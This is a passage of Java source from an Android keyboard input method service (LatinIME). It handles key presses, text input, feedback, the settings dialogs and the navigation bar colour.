            codePoint = Event.NOT_A_CODE_POINT;
        } else {
            keyCode = Event.NOT_A_KEY_CODE;
            codePoint = keyCodeOrCodePoint;
        }
        return Event.createSoftwareKeypressEvent(codePoint, keyCode, keyX, keyY, isKeyRepeat);
    }

    // Called from PointerTracker through the KeyboardActionListener interface
    @Override
    public void onTextInput(final String rawText) {
        // TODO: have the keyboard pass the correct key code when we need it.
        final Event event = Event.createSoftwareTextEvent(rawText, Constants.CODE_OUTPUT_TEXT);
        final InputTransaction completeInputTransaction =
                mInputLogic.onTextInput(mSettings.getCurrent(), event);
        updateStateAfterInputTransaction(completeInputTransaction);
        mKeyboardSwitcher.onEvent(event, getCurrentAutoCapsState(), getCurrentRecapitalizeState());
    }

    // Called from PointerTracker through the KeyboardActionListener interface
    @Override
    public void onFinishSlidingInput() {
        // User finished sliding input.
        mKeyboardSwitcher.onFinishSlidingInput(getCurrentAutoCapsState(),
                getCurrentRecapitalizeState());
    }

    private void loadKeyboard() {
        // Since we are switching languages, the most urgent thing is to let the keyboard graphics
        // update. LoadKeyboard does that, but we need to wait for buffer flip for it to be on
        // the screen. Anything we do right now will delay this, so wait until the next frame
        // before we do the rest, like reopening dictionaries and updating suggestions. So we
        // post a message.
        mHandler.postReopenDictionaries();
        loadSettings();
        if (mKeyboardSwitcher.getMainKeyboardView() != null) {
            // Reload keyboard because the current language has been changed.
            mKeyboardSwitcher.loadKeyboard(getCurrentInputEditorInfo(), mSettings.getCurrent(),
                    getCurrentAutoCapsState(), getCurrentRecapitalizeState());
        }
    }

    /**
     * After an input transaction has been executed, some state must be updated. This includes
     * the shift state of the keyboard and suggestions. This method looks at the finished
     * inputTransaction to find out what is necessary and updates the state accordingly.
     * @param inputTransaction The transaction that has been executed.
     */
    private void updateStateAfterInputTransaction(final InputTransaction inputTransaction) {
        switch (inputTransaction.getRequiredShiftUpdate()) {
        case InputTransaction.SHIFT_UPDATE_LATER:
            mHandler.postUpdateShiftState();
            break;
        case InputTransaction.SHIFT_UPDATE_NOW:
            mKeyboardSwitcher.requestUpdatingShiftState(getCurrentAutoCapsState(),
                    getCurrentRecapitalizeState());
            break;
        default: // SHIFT_NO_UPDATE
        }
    }

    private void hapticAndAudioFeedback(final int code, final int repeatCount) {
        final MainKeyboardView keyboardView = mKeyboardSwitcher.getMainKeyboardView();
        if (keyboardView != null && keyboardView.isInDraggingFinger()) {
            // No need to feedback while finger is dragging.
            return;
        }
        if (repeatCount > 0) {
            if (code == Constants.CODE_DELETE && !mInputLogic.mConnection.canDeleteCharacters()) {
                // No need to feedback when repeat delete key will have no effect.
                return;
            }
            // TODO: Use event time that the last feedback has been generated instead of relying on
            // a repeat count to thin out feedback.
            if (repeatCount % PERIOD_FOR_AUDIO_AND_HAPTIC_FEEDBACK_IN_KEY_REPEAT == 0) {
                return;
            }
        }
        final AudioAndHapticFeedbackManager feedbackManager =
                AudioAndHapticFeedbackManager.getInstance();
        if (repeatCount == 0) {
            // TODO: Reconsider how to perform haptic feedback when repeating key.
            feedbackManager.performHapticFeedback(keyboardView);
        }
        feedbackManager.performAudioFeedback(code);
    }

    // Callback of the {@link KeyboardActionListener}. This is called when a key is depressed;
    // release matching call is {@link #onReleaseKey(int,boolean)} below.
    @Override
    public void onPressKey(final int primaryCode, final int repeatCount,
            final boolean isSinglePointer) {
        mKeyboardSwitcher.onPressKey(primaryCode, isSinglePointer, getCurrentAutoCapsState(),
                getCurrentRecapitalizeState());
        hapticAndAudioFeedback(primaryCode, repeatCount);
    }

    // Callback of the {@link KeyboardActionListener}. This is called when a key is released;
    // press matching call is {@link #onPressKey(int,int,boolean)} above.
    @Override
    public void onReleaseKey(final int primaryCode, final boolean withSliding) {
        mKeyboardSwitcher.onReleaseKey(primaryCode, withSliding, getCurrentAutoCapsState(),
                getCurrentRecapitalizeState());
    }

    // receive ringer mode change.
    private final BroadcastReceiver mRingerModeChangeReceiver = new BroadcastReceiver() {
        @Override
        public void onReceive(final Context context, final Intent intent) {
            final String action = intent.getAction();
            if (action.equals(AudioManager.RINGER_MODE_CHANGED_ACTION)) {
                AudioAndHapticFeedbackManager.getInstance().onRingerModeChanged();
            }
        }
    };

    void launchSettings() {
        requestHideSelf(0);
        final MainKeyboardView mainKeyboardView = mKeyboardSwitcher.getMainKeyboardView();
        if (mainKeyboardView != null) {
            mainKeyboardView.closing();
        }
        final Intent intent = new Intent();
        intent.setClass(LatinIME.this, SettingsActivity.class);
        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK
                | Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED
                | Intent.FLAG_ACTIVITY_CLEAR_TOP);
        startActivity(intent);
    }

    private void showSubtypeSelectorAndSettings() {
        final CharSequence title = getString(R.string.english_ime_input_options);
        // TODO: Should use new string "Select active input modes".
        final CharSequence languageSelectionTitle = getString(R.string.language_selection_title);
        final CharSequence[] items = new CharSequence[] {
                languageSelectionTitle,
                getString(ApplicationUtils.getActivityTitleResId(this, SettingsActivity.class))
        };
        final String imeId = mRichImm.getInputMethodIdOfThisIme();
        final OnClickListener listener = new OnClickListener() {
            @Override
            public void onClick(DialogInterface di, int position) {
                di.dismiss();
                switch (position) {
                case 0:
                    final Intent intent = IntentUtils.getInputLanguageSelectionIntent(
                            imeId,
                            Intent.FLAG_ACTIVITY_NEW_TASK
                                    | Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED
                                    | Intent.FLAG_ACTIVITY_CLEAR_TOP);
                    intent.putExtra(Intent.EXTRA_TITLE, languageSelectionTitle);
                    startActivity(intent);
                    break;
                case 1:
                    launchSettings();
                    break;
                }
            }
        };
        final AlertDialog.Builder builder = new AlertDialog.Builder(
                DialogUtils.getPlatformDialogThemeContext(this));
        builder.setItems(items, listener).setTitle(title);
        final AlertDialog dialog = builder.create();
        dialog.setCancelable(true /* cancelable */);
        dialog.setCanceledOnTouchOutside(true /* cancelable */);
        showOptionDialog(dialog);
    }

    // TODO: Move this method out of {@link LatinIME}.
    private void showOptionDialog(final AlertDialog dialog) {
        final IBinder windowToken = mKeyboardSwitcher.getMainKeyboardView().getWindowToken();
        if (windowToken == null) {
            return;
        }

        final Window window = dialog.getWindow();
        final WindowManager.LayoutParams lp = window.getAttributes();
        lp.token = windowToken;
        lp.type = WindowManager.LayoutParams.TYPE_APPLICATION_ATTACHED_DIALOG;
        window.setAttributes(lp);
        window.addFlags(WindowManager.LayoutParams.FLAG_ALT_FOCUSABLE_IM);

        mOptionsDialog = dialog;
        dialog.show();
    }

    public void debugDumpStateAndCrashWithException(final String context) {
        final SettingsValues settingsValues = mSettings.getCurrent();
        final StringBuilder s = new StringBuilder(settingsValues.toString());
        s.append("\nAttributes : ").append(settingsValues.mInputAttributes)
                .append("\nContext : ").append(context);
        throw new RuntimeException(s.toString());
    }

    @Override
    protected void dump(final FileDescriptor fd, final PrintWriter fout, final String[] args) {
        super.dump(fd, fout, args);

        final Printer p = new PrintWriterPrinter(fout);
        p.println("LatinIME state :");
        p.println("  VersionCode = " + ApplicationUtils.getVersionCode(this));
        p.println("  VersionName = " + ApplicationUtils.getVersionName(this));
        final Keyboard keyboard = mKeyboardSwitcher.getKeyboard();
        final int keyboardMode = keyboard != null ? keyboard.mId.mMode : -1;
        p.println("  Keyboard mode = " + keyboardMode);
    }

    public boolean shouldSwitchToOtherInputMethods() {
        // TODO: Revisit here to reorganize the settings. Probably we can/should use different
        // strategy once the implementation of
        // {@link InputMethodManager#shouldOfferSwitchingToNextInputMethod} is defined well.
        final IBinder token = getWindow().getWindow().getAttributes().token;
        if (token == null) {
            return false;
        }
        final boolean overrideValue = mSettings.getCurrent().isLanguageSwitchKeyEnabled();
        return mRichImm.shouldOfferSwitchingToNextInputMethod(token) && overrideValue;
    }

    public boolean shouldShowLanguageSwitchKey() {
        // TODO: Revisit here to reorganize the settings. Probably we can/should use different
        // strategy once the implementation of
        // {@link InputMethodManager#shouldOfferSwitchingToNextInputMethod} is defined well.
        final IBinder token = getWindow().getWindow().getAttributes().token;
        if (token == null) {
            return false;
        }
        final boolean overrideValue = mSettings.getCurrent().isLanguageSwitchKeyEnabled();
        return mRichImm.shouldOfferSwitchingToNextInputMethod(token) && overrideValue;
    }

    private void setNavigationBarColor() {
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P && mSettings.getCurrent().mUseMatchingNavbarColor) {
            final SharedPreferences prefs = PreferenceManager.getDefaultSharedPreferences(this);
            final int keyboardColor = Settings.readKeyboardColor(prefs, this);
            final Window window = getWindow().getWindow();
            if (window == null) {
                return;
            }
            mOriginalNavBarColor = window.getNavigationBarColor();
            window.setNavigationBarColor(keyboardColor);

            final View view = window.getDecorView();
            mOriginalNavBarFlags = view.getSystemUiVisibility();
            if (ResourceUtils.isBrightColor(keyboardColor)) {
                view.setSystemUiVisibility(mOriginalNavBarFlags | View.SYSTEM_UI_FLAG_LIGHT_NAVIGATION_BAR);
            } else {
                view.setSystemUiVisibility(mOriginalNavBarFlags & ~View.SYSTEM_UI_FLAG_LIGHT_NAVIGATION_BAR);
            }
        }
    }

    private void clearNavigationBarColor() {
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P && mSettings.getCurrent().mUseMatchingNavbarColor) {
            final Window window = getWindow().getWindow();
            if (window == null) {
                return;
            }
            window.setNavigationBarColor(mOriginalNavBarColor);
            final View view = window.getDecorView();
            view.setSystemUiVisibility(mOriginalNavBarFlags);
        }
    }
}